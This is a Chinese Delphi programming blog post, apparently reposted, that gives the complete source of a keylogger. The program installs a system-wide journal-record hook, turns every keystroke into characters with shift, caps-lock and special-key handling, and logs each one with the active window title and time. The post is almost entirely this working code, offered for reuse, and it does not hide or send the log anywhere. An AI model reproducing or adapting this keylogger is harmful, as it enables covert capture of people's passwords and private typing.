delphi实例键盘记录


本文整理自网络,侵删。

 
引用

unit Unit7;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
    Button1: TButton;
    MEMO1: TMemo;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
private
{ Private declarations }

public
{ Public declarations }
end;

const
KeyMask = $80000000;
var

Form1: TForm1;
ch: Char;
LogHook: HHook = 0;
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HotKeyId: Integer;
HookList: TStringList; //
hookkey:String;////
implementation

{$R *.dfm}
function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var

vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
Time: string;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
  
if iCode < 0 then
begin
    Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
    exit;
end;
if (iCode = HC_ACTION) then
begin
    pEvt := Pointer(DWord(lParam));
    FocusWnd := GetActiveWindow;
    if LastFocusWnd <> FocusWnd then
    begin
      if hookkey<>'' then
        begin
          HookList.Add(hookkey);
          hookkey :='';
        end;
      HookList.Add('---End---');
      HookList.Add('--begin--');
      GetWindowText(FocusWnd, Title, 256);
      LastFocusWnd := FocusWnd;
      //Time := DateTimeToStr(Now);
      Time := TimeToStr(Now);
      HookList.Add(Time + Format('Title:%s', [Title]));
    end;
    if pEvt.message = WM_KEYDOWN then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);
      if ((vKey >= 48) and (vKey <= 57)) then
        begin
          if not bShift then
            begin
              ch := Char(vKey);
            end else begin
              case vKey of
                48: ch := ')';
                49: ch := '!';
                50: ch := '@';
                51: ch := '#';
                52: ch := '$';
                53: ch := '%';
                54: ch := '^';
                55: ch := '&';
                56: ch := '*';
                57: ch := '(';
              end;
           end;
         hookkey:=hookkey+ch;
       end;
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        hookkey:=hookkey+ch;
      end;
      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
        if bNumLock then
        hookkey:=hookkey+Char(vKey - 96 + 48);
      ch:='n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then // 其他键
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
      hookkey:=hookkey+ ch;
     if (vKey >= 8) and (vKey <= 46) then //方向键
      begin
        ch := ' ';
        case vKey of
          8: str := '[退格]';
          9: str := '[TAB]';
          13: str := '[Enter]';
          32: str := '[空格]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
            hookkey :=hookkey+str;
        end;
      end;
   end ;
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
   UnhookWindowsHookEx(LogHook);
   LogHook := 0;
   memo1.Clear;
memo1.Lines.Add(hooklist.Text);

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
HookList := TStringList.Create;
HotKeyId := GlobalAddAtom('MyHotKey') - $C000;
RegisterHotKey(Handle, hotkeyid, MOD_ALT, VK_F8);

if LogHook = 0 then
    LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
end;

end.

相关阅读 >>

Delphi 如何使用findfirst搜索不同的文件类型?

Delphi 判断字符是否是汉字

Delphi 使用资源文件

Delphi中实现dbgrid列宽度自动调整

Delphi 动态修改exe文件的图标

Delphi用sendmessage获取目录下所有文件

Delphi gdi+ 实现简单画图

Delphi 磁盘类型 getdrivetype

Delphi 如何使用程序标识符检查程序是否已安装

Delphi 用文字作为窗体的形状

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...